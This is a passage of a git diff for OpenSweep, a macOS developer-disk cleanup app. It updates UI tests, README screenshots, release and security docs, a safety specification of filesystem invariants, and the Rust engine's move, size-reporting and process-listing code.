8f971b9..7bdc657 100644 --- a/OpenSweepUITests/OpenSweepUITests.swift +++ b/OpenSweepUITests/OpenSweepUITests.swift @@ -177,7 +177,7 @@ final class OpenSweepUITests: XCTestCase { XCTAssertTrue(purge.waitForExistence(timeout: 10)) shot("08-history") purge.click() - XCTAssertTrue(app.buttons["Cancel"].waitForExistence(timeout: 10) || app.buttons["confirmPurge"].waitForExistence(timeout: 1)) + XCTAssertTrue(waitFor { self.app.buttons["Cancel"].exists || self.app.buttons["confirmPurge"].exists }, "purge asks first") shot("09-purge-confirmation") app.typeKey(.escape, modifierFlags: []) @@ -195,6 +195,13 @@ final class OpenSweepUITests: XCTestCase { XCTAssertTrue(box.waitForExistence(timeout: 15)) XCTAssertFalse(checked("cache.npm"), "caches are never pre-selected") XCTAssertFalse(app.buttons["caches.clear"].isEnabled) + // The cache map ticks a cache like its checkbox, and unticks it. + let block = app.buttons["cachemap.npm"] + XCTAssertTrue(block.exists, "the cache map shows npm") + block.click() + XCTAssertTrue(checked("cache.npm"), "a block ticks its cache") + block.click() + XCTAssertFalse(checked("cache.npm")) box.click() app.buttons["caches.clear"].click() let confirm = app.buttons["caches.confirm"] @@ -217,13 +224,15 @@ final class OpenSweepUITests: XCTestCase { for (i, screen) in ["overview", "projects", "caches", "history", "devStack"].enumerated() { app.typeKey(String(i + 1), modifierFlags: .command) if screen == "projects" { app.buttons["project.shop-web"].click() } + // Let entrance animations finish: the audit measures what is on + // screen, and a half-faded view reads as low contrast. sleep(2) // Every issue fails the test except: // - a framework container (a Group or AppKit's TouchBar) with no // identifier: no description or a parent/child mismatch on what // SwiftUI builds for the split view; // - a contrast finding our own pixel measurement disproves. The - // audit misreads text on the gradient (it flagged 6.4:1 and + // audit misreads text on tinted fills (it flagged 6.4:1 and // 8.1:1 text), so the element's screenshot is measured instead. // Issues are collected so one run reports all of them. try app.performAccessibilityAudit { issue in @@ -235,6 +244,12 @@ final class OpenSweepUITests: XCTestCase { // SwiftUI pop-up menus open with the show-menu action VoiceOver // uses; the audit looks only for a press action. if issue.auditType == .action, [.popUpButton, .menuButton].contains(e?.elementType) { return true } + // On macOS 15 a SwiftUI menu's name is its title, which + // VoiceOver reads, and the audit wants a description. Only a + // menu that really has a name is let through. + if issue.auditType == .sufficientElementDescription, let e, + [.popUpButton, .menuButton].contains(e.elementType), + !e.label.isEmpty || !e.title.isEmpty { return true } // A parent/child mismatch the audit cannot name an element for // is in what SwiftUI builds, not in a view of ours. if issue.auditType == .parentChild, e == nil { return true } @@ -253,7 +268,8 @@ final class OpenSweepUITests: XCTestCase { } /// WCAG contrast between the text and background of a screenshot: the - /// brightest and darkest few percent of pixels (text is the minority). + /// brightest and darkest 1% of pixels (text is the minority; small + /// caption text in a chip may cover only a few percent). static func contrast(_ image: NSImage) -> Double { guard let tiff = image.tiffRepresentation, let rep = NSBitmapImageRep(data: tiff) else { return 0 } func lum(_ c: NSColor) -> Double { @@ -269,7 +285,7 @@ final class OpenSweepUITests: XCTestCase { } guard l.count > 50 else { return 0 } l.sort() - let dark = l[l.count / 20], light = l[l.count - 1 - l.count / 50] + let dark = l[l.count / 100], light = l[l.count - 1 - l.count / 100] return (light + 0.05) / (dark + 0.05) } @@ -305,6 +321,31 @@ final class OpenSweepUITests: XCTestCase { } /// U1: Projects shows what can be cleaned by default; All shows the rest. + /// G4: arrows move through projects and folders; Space ticks a folder. + func testKeyboardMovesThroughProjectsAndFolders() { + scan() + open("shop-web") + let shop = app.buttons["project.shop-web"] + XCTAssertTrue(app.checkBoxes["item.node_modules"].waitForExistence(timeout: 10)) + XCTAssertTrue(shop.isSelected) + + app.typeKey(.downArrow, modifierFlags: []) + XCTAssertTrue(NSPredicate(format: "isSelected == false").evaluate(with: shop), "↓ moves to the next project") + app.typeKey(.upArrow, modifierFlags: []) + XCTAssertTrue(shop.isSelected, "↑ comes back") + + XCTAssertFalse(checked("item.node_modules")) + app.typeKey(.rightArrow, modifierFlags: []) + app.typeKey(.space, modifierFlags: []) + XCTAssertTrue(checked("item.node_modules"), "Space ticks the first folder") + app.typeKey(.downArrow, modifierFlags: []) + app.typeKey(.space, modifierFlags: []) + XCTAssertFalse(checked("item..next"), "↓ then Space unticks the next one") + app.typeKey(.leftArrow, modifierFlags: []) + app.typeKey(.downArrow, modifierFlags: []) + XCTAssertFalse(shop.isSelected, "← returns to the project list") + } + func testProjectsFilter() throws { try file("empty-app/package.json", 2) scan() @@ -340,6 +381,8 @@ final class OpenSweepUITests: XCTestCase { let size = window.frame.size for screen in ["projects", "caches", "history", "devStack", "overview"] { app.outlines.cells.containing(.any, identifier: "nav.\(screen)").firstMatch.click() + // This asserts nothing moves, so it must let layout settle; there + // is no element to wait for when the right outcome is no change. sleep(3) if screen == "devStack" { shot("sidebar-dev-stack") } XCTAssertEqual(overview.frame.minY, top, accuracy: 2, "\(screen) pushed the sidebar up") diff --git a/QA-CHECKLIST.md b/QA-CHECKLIST.md index 24dbab6..2632d63 100644 --- a/QA-CHECKLIST.md +++ b/QA-CHECKLIST.md @@ -17,6 +17,9 @@ cat $Q/out/report.txt # every line must start with PASS open $Q/out # window snapshots of every screen ``` +Run it twice, with `OPENSWEEP_QA_APPEARANCE=light` and `=dark`, to check both +palettes whatever the system uses. + For the Caches steps, also create `$Q/home/.npm/_cacache/blob`, `$Q/home/.gradle/caches/x`, and a stand-in `$Q/bin/npm` that removes `$HOME/.npm/_cacache`, and launch with `PATH=$Q/bin:/usr/bin:/bin` so the real @@ -25,6 +28,10 @@ npm is never run. The walkthrough expects projects named `shop-web` (dormant Next.js), `live-api` (active) and `keep-me` (pinned); see `OpenSweep/App/QAWalkthrough.swift`. +README screenshots (`docs/assets/screens`) come from this walkthrough in +both appearances, with the projects under `$Q/home/code` so paths show as +`~/code/...`; resize with `sips -Z 1400`. + ## UI tests `xcodebuild test -project OpenSweep.xcodeproj -scheme OpenSweep -destination 'platform=macOS'`. @@ -50,3 +57,4 @@ CI runs them on macOS 15 with Xcode 16. | 13 | Overview: **Review all ready** | One sheet lists every idle project's Safe folders; Move, then Undo restores all of them in one step | | 14 | Quit and reopen | The last scan shows at once; an hour later it rescans in the background (Settings → Rescan when OpenSweep opens) | | 12 | VoiceOver (⌘F5) on Projects | Each folder checkbox reads its name, class and size | +| 15 | Projects, keyboard only | ↑/↓ choose a project; → enters its folders; ↑/↓ and Space tick them; ← goes back | diff --git a/README.md b/README.md index 92af817..1466687 100644 --- a/README.md +++ b/README.md @@ -7,6 +7,20 @@ shows which rebuildable folders are taking space (`node_modules`, `target`, `.venv`, build output), explains why each one is safe to remove, and makes every clean reversible. Local only: no account, no telemetry. + + + Overview: space ready to clean now, by language + + + + + Projects: each folder with its class, size and why it is safe + + + + History: every clean, restorable until purged + + > **Status: beta (milestone M4).** The Rust engine and CLI find projects, > judge whether each is in use, and clean rebuildable folders into a > quarantine you can restore from. The Mac app (macOS 14 or later) runs that diff --git a/SECURITY.md b/SECURITY.md index d3cbe23..f00b5f2 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -57,7 +57,18 @@ never appear as caches. The Dev Stack screen reads what tools are installed (Homebrew, version managers, Docker through your `docker` CLI) and shows each tool's own removal -command for you to copy. It never runs those commands. +command for you to copy. It never runs those commands. A name with anything a +shell would read as more than a word gets no command, so a planted file name +cannot become a pasteable payload. + +## Known limitations + +- **Builds without a Developer ID are not hardened.** Until releases are + signed with a Developer ID and notarized, the app ships with an ad-hoc + signature and without the hardened runtime (macOS refuses to load the bundled + Sparkle framework otherwise). Another program running as you could then + inject code into OpenSweep and use any Full Disk Access you granted it. If + that matters to you, use the CLI, or do not grant Full Disk Access. ## Reporting diff --git a/docs/CLI-JSON.md b/docs/CLI-JSON.md index 72abbba..fd38086 100644 --- a/docs/CLI-JSON.md +++ b/docs/CLI-JSON.md @@ -40,6 +40,7 @@ app (M3) reads. Snapshots of each shape live in | `rule` | string | Rule id (`node`, `rust`, …) | | `class` | `"safe"` \| `"caution"` | Safe needs no user action to rebuild | | `bytes` | integer or null | Size, when the guard allows the folder | +| `shared` | bool | Some files are hard links to, or a pnpm or Bun install cloned from, files elsewhere: `bytes` is an upper estimate | | `refused` | string or null | Why the guard refuses it, when it does | In `scan` and `plan`, activity does not refuse items: an active project's @@ -69,7 +70,8 @@ backup; each is walked on its own volume: {"schema_version":1,"type":"summary","projects":12,"ready":{"folders":3,"bytes":0},"caution":{…},"active":{…}} ``` -`reason` for a skipped folder is one of `unreadable`, `other_volume`, +`reason` for a skipped folder is one of `unreadable`, `protected` (refused by +macOS privacy protection; Full Disk Access fixes it), `other_volume`, `depth_limit`, `entry_limit`, `excluded`, `installed` (installed software such as Homebrew or `/Applications`, never walked or cleaned). The summary is always last: `ready` is what `clean` takes with no flags, `caution` what `--include-caution` adds, diff --git a/docs/GAP-REVIEW.md b/docs/GAP-REVIEW.md index fafb9a4..65b9fec 100644 --- a/docs/GAP-REVIEW.md +++ b/docs/GAP-REVIEW.md @@ -39,6 +39,17 @@ U8 (light appearance), R2 (UI tests, accessibility audit passing again), R4 (Actions pinned, SBOM, build provenance), R6 (timing recorded). Left for the owner: R1, R3, R5, P7; C2 stays a toolchain. +## Second pass (20 Nov 2026, after M5) + +| # | Gap | Status | +| --- | --- | --- | +| G1 | APFS clones (pnpm, Finder Duplicate) share blocks but were measured in full (F8) | See commit history | +| G2 | The update check could not be turned off after Sparkle's first prompt (principle 1) | Settings switch | +| G3 | The character and stats could not be turned off (F19) | Settings switch | +| G4 | Keyboard: moving through projects and ticking folders without the mouse (N5) | See commit history | +| G5 | No docs site or screenshots (M5) | See commit history | +| G6 | Light palette and Reduce Motion unchecked after the solid-canvas redesign | Walkthrough takes `OPENSWEEP_QA_APPEARANCE` | + ## 1. Product gaps (the idea is not delivered without these) | # | Gap | Evidence | Proposal | diff --git a/docs/HANDOFF.md b/docs/HANDOFF.md index 9d9e479..544917e 100644 --- a/docs/HANDOFF.md +++ b/docs/HANDOFF.md @@ -134,7 +134,9 @@ Verified on 2026-11-20: engine checks, CleanCore tests, the Release bundle and all 7 UI tests on CI, including the accessibility audit on every screen. The audit ignores only framework containers without identifiers, pop-up menus' press action, and contrast findings the element's own pixels disprove -(it misreads text on the gradient); every ignored rule is in the test. +(it misreads text on tinted fills); every ignored rule is in the test. +- 20 Nov 2026: the drifting gradient backdrop was replaced by a solid canvas + (owner's call: "premium, not cheap"); motion is calmer, see `Motion.swift`. ## 5. Known gaps and risks diff --git a/docs/RELEASING.md b/docs/RELEASING.md index 2962c37..8b41f4d 100644 --- a/docs/RELEASING.md +++ b/docs/RELEASING.md @@ -9,7 +9,9 @@ ``` A tag with a suffix (`v0.4.0-beta.1`) is published as a pre-release, which the update feed and the cask skip. -3. The **Release** workflow runs the engine tests and the no-delete check, +3. Approve the run: the release job waits in the `release` environment + until you approve it under Actions (one click). +4. The **Release** workflow runs the engine tests and the no-delete check, builds a universal app, signs it (Developer ID and notarization when those secrets exist), writes a sha256, an SBOM and build provenance, signs a Sparkle appcast, and publishes the GitHub Release. The tap follows it. @@ -24,20 +26,28 @@ same workflow signs, notarizes and staples instead. | Kind | Name | What | | --- | --- | --- | -| Secret | `SPARKLE_PRIVATE_KEY` | Sparkle EdDSA private key (see below) | +| Environment secret (`release`) | `SPARKLE_PRIVATE_KEY` | Sparkle EdDSA private key (see below) | | Variable | `SPARKLE_PUBLIC_KEY` | The matching public key; it is built into the app | -| Optional secrets | `MACOS_CERT_P12`, `MACOS_CERT_PASSWORD`, `MACOS_SIGN_IDENTITY`, `APPLE_TEAM_ID`, `APPLE_ID`, `APPLE_APP_PASSWORD` | Developer ID signing and notarization, only if you join the Apple Developer Program | +| Optional environment secrets (`release`) | `MACOS_CERT_P12`, `MACOS_CERT_PASSWORD`, `MACOS_SIGN_IDENTITY`, `APPLE_TEAM_ID`, `APPLE_ID`, `APPLE_APP_PASSWORD` | Developer ID signing and notarization, only if you join the Apple Developer Program | -Sparkle keys: run, once, as yourself (not with sudo): +Protect releases and set the Sparkle key: run, once, as yourself (not with +sudo): ```bash -scripts/setup-sparkle-key.sh +scripts/protect-releases.sh ``` -It fetches Sparkle's tools if needed, creates the key in your login keychain -under `com.finjineers.opensweep`, and stores the public key as the -`SPARKLE_PUBLIC_KEY` variable and the private key as the -`SPARKLE_PRIVATE_KEY` secret. +It makes the `release` environment (your approval, `v*` tags only), adds a +tag rule so only an admin can create, move or delete `v*` tags, and runs +`scripts/setup-sparkle-key.sh`. Secrets for signing go in the `release` +environment, never at repository level, so no other workflow or branch can +read them. + +The key script fetches Sparkle's tools if needed, creates the key in your +login keychain under `com.finjineers.opensweep` (or reuses the one there), +stores the public key as the `SPARKLE_PUBLIC_KEY` variable and the private key +as the `release` environment's `SPARKLE_PRIVATE_KEY` secret, and removes any +repository-level copy. The login keychain is the backup: without the private key, installed copies can never be updated again, so keep your keychain backed up (Time Machine). diff --git a/docs/SAFETY-SPEC.md b/docs/SAFETY-SPEC.md index 8aafc0f..f36fb86 100644 --- a/docs/SAFETY-SPEC.md +++ b/docs/SAFETY-SPEC.md @@ -34,7 +34,7 @@ through a linted rule and the guard. There is no free-form delete. | I9 | The target is on the same volume as the project root | `Guard::check` | `CrossDevice` | | I10 | The target does not contain its own repository | `Guard::check` | `ContainsRepository` | | I11 | Git tracks nothing under the target; if the project is a repository and git cannot answer, refuse | `guard::check_untracked` | `ContainsTrackedFiles`, `VcsCheckFailed` | -| I12 | Immediately before a move, the directory is the same one that was approved (device, inode, creation time, canonical path) | `Approved::reverify` | `ChangedSinceApproval` | +| I12 | Immediately before a move, the directory is the same one that was approved (device, inode, creation time, canonical path). The move itself opens the parent once, checks the entry under that handle is still the approved device and inode, and renames from that handle without replacing anything, so a folder on the way swapped for a link after the check cannot redirect it | `Approved::reverify`, `Approved::move_into` | `ChangedSinceApproval`, `a_swap_after_reverify_cannot_redirect_the_move` | ### Notes on I11 @@ -48,6 +48,9 @@ transport it chooses (`ext::` runs a command), so git also runs with which allows no transport and overrides the repository's own `protocol..allow`. `git_check_does_not_run_repository_programs` proves the fsmonitor case. +git itself, and the tools that clear caches, are found only through absolute +`PATH` folders: an empty or `.` entry would find a repository's own `git` when +OpenSweep runs from inside it (`relative_path_entries_are_ignored`). ### Known limits @@ -61,6 +64,10 @@ which allows no transport and overrides the repository's own and restore (I13, I14) are the backstop. - Only git is checked for tracked files. Mercurial, Jujutsu and Subversion checkouts are refused only at the directory level (I7). +- Between the handle check and the rename, only something with write access + to the project folder itself could swap the entry, and it could delete the + folder anyway. Handles come from `rustix`, a safe wrapper, because the + engine forbids `unsafe`. ## Quarantine (M1) @@ -70,18 +77,15 @@ which allows no transport and overrides the repository's own | I14 | The manifest is written before the first move and rewritten atomically after each one; `reverify` runs immediately before each move | `Store::clean`, `write_manifest` | `changed_items_are_skipped_and_recorded`, `a_crash_after_a_move_is_recoverable` | | I14a | Restore never overwrites and never recreates a missing project folder | `Store::restore` | `restore_never_overwrites`, `restore_refuses_when_the_project_is_gone` | | I14b | Purge deletes only real directories at `items/` inside the store; run ids and item names from disk are validated; a malformed manifest stops the command | `Store::purge`, `parse_manifest` | `purge_deletes_only_quarantined_items`, `purge_removes_only_real_directories`, `tampered_manifests_are_refused`, `run_ids_cannot_escape_the_store` | -| I14d | Restore puts an item back only inside the project it came from: the manifest's original must be an absolute, normalized path strictly below its project root, and the parent folder's real path must still be the recorded one (no folder on the way replaced by a link) | `parse_manifest`, `Store::restore` | `manifests_cannot_send_items_outside_their_project`, `restore_does_not_follow_a_replaced_parent` | -| I19 | A drive quarantine is used only if each of its folders is a real folder owned by the main store's owner and writable by no one else, at the top of a local drive whose top folder others cannot change (or has the sticky bit), checked before every clean, restore and purge; a manifest's `volume` must be an absolute `.opensweep-quarantine` folder whose parent contains the item's original | `quarantine::trusted`, `items_of`, `parse_manifest` | `a_drive_quarantine_must_be_a_private_folder_of_the_owner`, `a_shared_drive_top_needs_the_sticky_bit`, `manifests_cannot_point_at_another_drives_quarantine`, `folders_on_another_drive_use_that_drives_quarantine` | +| I14d | Restore puts an item back only inside the project it came from: the manifest's original must be an absolute, normalized path strictly below its project root, and the parent folder's real path must still be the recorded one (no folder on the way replaced by a link), checked on the open handle the rename goes into. The rename never replaces anything, an empty folder included | `parse_manifest`, `Store::restore` | `manifests_cannot_send_items_outside_their_project`, `restore_does_not_follow_a_replaced_parent`, `a_restore_rename_never_replaces_or_follows` | +| I19 | The main store and its `runs` folder must be real folders owned by the owner of the home folder and writable by no one else; store, run and item folders are created owner-only (0700), and a run or its `items` folder that is a link is never followed. A drive quarantine is used only if each of its folders is a real folder owned by the main store's owner and writable by no one else, at the top of a local drive whose top folder others cannot change (or has the sticky bit), checked before every clean, restore and purge; a manifest's `volume` must be an absolute `.opensweep-quarantine` folder whose parent contains the item's original | `quarantine::trusted`, `items_of`, `parse_manifest` | `a_drive_quarantine_must_be_a_private_folder_of_the_owner`, `a_shared_drive_top_needs_the_sticky_bit`, `manifests_cannot_point_at_another_drives_quarantine`, `folders_on_another_drive_use_that_drives_quarantine`, `a_store_others_can_change_is_refused`, `a_linked_items_folder_is_not_followed` | | I14c | Every changing CLI command is a dry run without `--execute`; Caution folders also need `--include-caution`. `pin` and `unpin` are the exception: they change only OpenSweep's config, and pinning only adds protection. `clean --only` can only narrow: a pick the rules do not offer is an error before anything moves, and every pick still passes the guard | `opensweep-cli` | `clean_is_a_dry_run_by_default`, `caution_folders_need_an_explicit_flag`, `only_narrows_the_selection` | Space is freed only when a run is purged, because a rename on the same volume moves no data. The CLI says so after every clean. Known limits: a crash between a rename and the manifest update leaves the entry -`pending`; restore and purge treat it as moved if its item is present. Restore -checks the destination is free and then renames, so a directory created in -that instant could, if empty, be replaced; a non-empty one makes the rename -fail safely. Two cleans running at the same moment use separate run folders +`pending`; restore and purge treat it as moved if its item is present. Two cleans running at the same moment use separate run folders but are not otherwise coordinated. ## Discovery (M2) @@ -99,7 +103,7 @@ nothing is approved without an activity assessment. | # | Invariant | Enforced by | Test | | --- | --- | --- | --- | -| I15 | A pinned project, or one inside a pinned folder, is refused with no override. A pin can carry an end time (`pinned_until`), after which the project is judged as usual; a pinned git remote (`pinned_remotes`) pins every clone of that repository, read from `.git/config` as text without running git, so a repository can only pin itself. An Active project (a process other than OpenSweep's own process family and pipeline runs inside it, or a file or commit is newer than `idle_days`) is refused unless the guard is built with `allow_active` (`--include-active`) | `Guard::check`, `activity::assess` | `active_and_pinned_projects_are_refused`, `pinned_projects_are_never_cleaned`, `a_pin_until_a_date_ends`, `a_repository_file_can_only_take_folders_away`, `folders_kept_by_the_repository_are_refused`, `user_rules_and_repository_files`, `user_rules_add_to_the_catalogue`, `a_pin_on_a_git_remote_follows_the_project`, `old_config_files_still_load`, `projects_in_use_need_an_explicit_flag`, `a_tool_running_inside_makes_it_active` | +| I15 | A pinned project, or one inside a pinned folder, is refused with no override. A pin can carry an end time (`pinned_until`), after which the project is judged as usual; a pinned git remote (`pinned_remotes`) pins every clone of that repository, read from `.git/config` as text without running git, so a repository can only pin itself. A folder a repository keeps (`exclude`) also keeps any artifact that contains it, compared ignoring case. A commit time git reports that no clock can hold is an error, never a crash (`a_commit_time_out_of_range_does_not_crash`). An Active project (a process other than OpenSweep's own process family and pipeline runs inside it, or a file or commit is newer than `idle_days`) is refused unless the guard is built with `allow_active` (`--include-active`) | `Guard::check`, `activity::assess` | `active_and_pinned_projects_are_refused`, `pinned_projects_are_never_cleaned`, `a_pin_until_a_date_ends`, `a_repository_file_can_only_take_folders_away`, `folders_kept_by_the_repository_are_refused`, `user_rules_and_repository_files`, `user_rules_add_to_the_catalogue`, `a_pin_on_a_git_remote_follows_the_project`, `old_config_files_still_load`, `projects_in_use_need_an_explicit_flag`, `a_tool_running_inside_makes_it_active` | | I15a | Dormant needs every signal checked in full: git answered, the edit walk finished within its limits, and processes were listed. Otherwise the verdict is at most Idle | `activity::decide` | `an_incomplete_check_is_never_dormant`, `too_many_files_is_never_dormant`, `a_broken_repository_is_never_dormant` | | I15b | Reading the last commit runs git with the I11 settings plus `log.showSignature=false`, so a repository cannot make it run `gpg.program` or fetch from its own remote | `guard::hardened_git` | `reading_commits_does_not_run_repository_programs`, `reading_commits_does_not_fetch_from_the_repositorys_remote` | | I15c | A config file that exists but cannot be read, has an unknown key, a relative pin, or `idle_days` above `dormant_days` stops `plan` and `clean`: pins are never silently dropped | `Config::load` | `config_is_read_strictly`, `a_broken_config_stops_cleaning` | @@ -111,7 +115,7 @@ the seconds between the plan and the move is not seen. | # | Invariant | Enforced in | Tests | | --- | --- | --- | --- | -| I20 | A global cache is cleared only by its tool's own command, with a fixed argument list, no shell, stdin closed, the home folder as working folder and a time limit, and only with `--execute`. No cache path is inside or above a toolchain folder or the home folder | `caches::known`, `caches::allowed`, `caches::run` | `toolchains_never_appear_as_caches`, `the_home_folder_and_its_parents_are_never_a_cache`, `cleaning_runs_the_tools_own_command`, `a_failing_or_hanging_tool_is_reported`, `caches_are_cleared_by_the_tools_own_command`, `xcode_archives_and_simulators_are_measured_only`, `simulators_are_cleared_only_of_unavailable_ones`, `editor_browser_docker_and_model_stores_are_measured_only` | +| I20 | A global cache is cleared only by its tool's own command, with a fixed argument list, no shell, stdin closed, the home folder as working folder and a time limit, and only with `--execute`. At the limit the tool's whole process group is stopped, so a helper it started cannot keep running or hold the engine. No cache path is inside or above a toolchain folder or the home folder | `caches::known`, `caches::allowed`, `caches::run` | `toolchains_never_appear_as_caches`, `the_home_folder_and_its_parents_are_never_a_cache`, `cleaning_runs_the_tools_own_command`, `a_failing_or_hanging_tool_is_reported`, `a_hanging_tool_is_stopped_with_its_helpers`, `caches_are_cleared_by_the_tools_own_command`, `xcode_archives_and_simulators_are_measured_only`, `simulators_are_cleared_only_of_unavailable_ones`, `editor_browser_docker_and_model_stores_are_measured_only` | | I21 | A project inside installed software is never cleaned: its root has a `node_modules`, `site-packages`, `dist-packages` or `Cellar` folder above it, or lies under Homebrew, MacPorts, Nix, `/Applications`, `/Library`, `/System`, `/usr`, or a toolchain folder in the home folder (`.nvm`, `.rustup`, `.cargo`, `go/pkg`, `Library/Caches` and the like). Removing its folders breaks the tool; it does not rebuild | `guard::installed_software`, `Guard::check` | `installed_packages_are_never_cleaned`, `package_manager_and_toolchain_folders_are_installed_software` | ## Rename (November 2026) diff --git a/docs/assets/screens/history-dark.png b/docs/assets/screens/history-dark.png new file mode 100644 index 0000000..0f7af18 Binary files /dev/null and b/docs/assets/screens/history-dark.png differ diff --git a/docs/assets/screens/history-light.png b/docs/assets/screens/history-light.png new file mode 100644 index 0000000..504a478 Binary files /dev/null and b/docs/assets/screens/history-light.png differ diff --git a/docs/assets/screens/overview-dark.png b/docs/assets/screens/overview-dark.png new file mode 100644 index 0000000..b8a4a98 Binary files /dev/null and b/docs/assets/screens/overview-dark.png differ diff --git a/docs/assets/screens/overview-light.png b/docs/assets/screens/overview-light.png new file mode 100644 index 0000000..e019db8 Binary files /dev/null and b/docs/assets/screens/overview-light.png differ diff --git a/docs/assets/screens/projects-dark.png b/docs/assets/screens/projects-dark.png new file mode 100644 index 0000000..c51e446 Binary files /dev/null and b/docs/assets/screens/projects-dark.png differ diff --git a/docs/assets/screens/projects-light.png b/docs/assets/screens/projects-light.png new file mode 100644 index 0000000..40186fc Binary files /dev/null and b/docs/assets/screens/projects-light.png differ diff --git a/engine/Cargo.lock b/engine/Cargo.lock index b61c703..dfae80b 100644 --- a/engine/Cargo.lock +++ b/engine/Cargo.lock @@ -325,6 +325,7 @@ name = "opensweep-core" version = "0.0.1" dependencies = [ "proptest", + "rustix", "serde", "serde_json", "tempfile", diff --git a/engine/Cargo.toml b/engine/Cargo.toml index 0131f1e..a635afe 100644 --- a/engine/Cargo.toml +++ b/engine/Cargo.toml @@ -25,3 +25,5 @@ thiserror = "2" clap = { version = "4", features = ["derive"] } proptest = "1" tempfile = "3" +# Safe openat/renameat for the move (I12, I15); the engine forbids `unsafe`. +rustix = { version = "1", features = ["fs"] } diff --git a/engine/crates/opensweep-cli/src/main.rs b/engine/crates/opensweep-cli/src/main.rs index 071da14..beaf1b1 100644 --- a/engine/crates/opensweep-cli/src/main.rs +++ b/engine/crates/opensweep-cli/src/main.rs @@ -547,15 +547,19 @@ impl Context { let items = candidates .into_iter() .map(|c| { - let (bytes, refused) = match guard.check(&activity, &c) { - Ok(ok) => (Some(opensweep_core::size::usage(ok.path()).bytes), None), - Err(why) => (None, Some(why.to_string())), + let (bytes, shared, refused) = match guard.check(&activity, &c) { + Ok(ok) => { + let u = opensweep_core::size::usage(ok.path()); + (Some(u.bytes), u.shared, None) + } + Err(why) => (None, false, Some(why.to_string())), }; ItemReport { path: c.rel().to_path_buf(), rule: c.rule_id().to_owned(), class: c.class(), bytes, + shared, refused, } }) @@ -620,6 +624,8 @@ struct ItemReport { rule: String, class: Class, bytes: Option, + /// The folder shares space with files elsewhere; `bytes` is an upper estimate. + shared: bool, refused: Option, } @@ -634,6 +640,7 @@ impl ProjectReport { "rule": i.rule, "class": class_name(i.class), "bytes": i.bytes, + "shared": i.shared, "refused": i.refused, }) }) @@ -771,11 +778,16 @@ fn print_project(p: &ProjectReport) { for item in &p.items { match item.bytes { Some(b) => say!( - " {:>9} {} [{}] {:?}", + " {:>9} {} [{}] {:?}{}", human(b), item.path.display(), item.rule, - item.class + item.class, + if item.shared { + " (shares space with files elsewhere; may free less)" + } else { + "" + } ), None => say!( " {:>9} {} [{}] kept: {}", @@ -792,6 +804,7 @@ fn print_project(p: &ProjectReport) { fn skip_names(skip: &Skip) -> (&'static str, String) { let name = match skip { Skip::Unreadable(_) => "unreadable", + Skip::Protected(_) => "protected", Skip::OtherVolume => "other_volume", Skip::DepthLimit => "depth_limit", Skip::EntryLimit => "entry_limit", @@ -804,6 +817,9 @@ fn skip_names(skip: &Skip) -> (&'static str, String) { fn describe(skip: &Skip) -> String { match skip { Skip::Unreadable(why) => format!("could not be read: {why}"), + Skip::Protected(why) => { + format!("could not be read: {why}; macOS privacy protection, give OpenSweep Full Disk Access") + } Skip::OtherVolume => "on another volume".to_owned(), Skip::DepthLimit => "deeper than the depth limit".to_owned(), Skip::EntryLimit => { @@ -1286,12 +1302,7 @@ fn print_run(run: &Manifest) { } } -fn now_unix() -> u64 { - std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .map(|d| d.as_secs()) - .unwrap_or(0) -} +use opensweep_core::quarantine::now_unix; fn count(n: usize, noun: &str) -> String { if n == 1 { @@ -1317,17 +1328,9 @@ fn human(bytes: u64) -> String { } } -/// A Unix time as a UTC date, `YYYY-MM-DD` (Howard Hinnant's civil_from_days). +/// A Unix time as a UTC date, `YYYY-MM-DD`. fn day(unix: u64) -> String { - let z = i64::try_from(unix / 86_400).unwrap_or(0) + 719_468; - let era = z.div_euclid(146_097); - let doe = z.rem_euclid(146_097); - let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365; - let doy = doe - (365 * yoe + yoe / 4 - yoe / 100); - let mp = (5 * doy + 2) / 153; - let d = doy - (153 * mp + 2) / 5 + 1; - let m = if mp < 10 { mp + 3 } else { mp - 9 }; - let y = yoe + era * 400 + i64::from(m <= 2); + let (y, m, d) = opensweep_core::quarantine::civil_from_days(unix / 86_400); format!("{y:04}-{m:02}-{d:02}") } diff --git a/engine/crates/opensweep-cli/tests/snapshots/plan.json b/engine/crates/opensweep-cli/tests/snapshots/plan.json index c53e087..21e75f6 100644 --- a/engine/crates/opensweep-cli/tests/snapshots/plan.json +++ b/engine/crates/opensweep-cli/tests/snapshots/plan.json @@ -8,14 +8,16 @@ "class": "caution", "path": "node_modules", "refused": null, - "rule": "node" + "rule": "node", + "shared": false }, { "bytes": 0, "class": "safe", "path": ".next", "refused": null, - "rule": "node" + "rule": "node", + "shared": false } ], "pinned": false, diff --git a/engine/crates/opensweep-cli/tests/snapshots/scan.json b/engine/crates/opensweep-cli/tests/snapshots/scan.json index d31e837..b586a5b 100644 --- a/engine/crates/opensweep-cli/tests/snapshots/scan.json +++ b/engine/crates/opensweep-cli/tests/snapshots/scan.json @@ -6,14 +6,16 @@ "class": "caution", "path": "node_modules", "refused": null, - "rule": "node" + "rule": "node", + "shared": false }, { "bytes": 0, "class": "safe", "path": ".next", "refused": null, - "rule": "node" + "rule": "node", + "shared": false } ], "pinned": false, diff --git a/engine/crates/opensweep-core/Cargo.toml b/engine/crates/opensweep-core/Cargo.toml index f6b2995..c707567 100644 --- a/engine/crates/opensweep-core/Cargo.toml +++ b/engine/crates/opensweep-core/Cargo.toml @@ -16,6 +16,9 @@ toml.workspace = true serde_json.workspace = true thiserror.workspace = true +[target.'cfg(unix)'.dependencies] +rustix.workspace = true + [dev-dependencies] proptest.workspace = true tempfile.workspace = true diff --git a/engine/crates/opensweep-core/src/activity.rs b/engine/crates/opensweep-core/src/activity.rs index e4d3eff..cb7b753 100644 --- a/engine/crates/opensweep-core/src/activity.rs +++ b/engine/crates/opensweep-core/src/activity.rs @@ -379,10 +379,12 @@ fn list_processes() -> Option> { #[cfg(not(target_os = "linux"))] fn list_processes() -> Option> { - // A fixed path and fixed arguments: no shell, no PATH lookup. + // A fixed path and fixed arguments: no shell, no PATH lookup. -b avoids + // kernel calls that block on a stale network mount, which would hang the + // scan; process working folders come back the same without them. use std::process::{Command, Stdio}; let out = Command::new("/usr/sbin/lsof") - .args(["-n", "-P", "-w", "-d", "cwd", "-F", "pgRcn"]) + .args(["-b", "-n", "-P", "-w", "-d", "cwd", "-F", "pgRcn"]) .stdin(Stdio::null()) .stderr(Stdio::null()) .output() @@ -543,10 +545,14 @@ fn last_commit(root: &Path) -> Result, ()> { let text = String::from_utf8_lossy(&out.stdout); match text.trim() { "" => 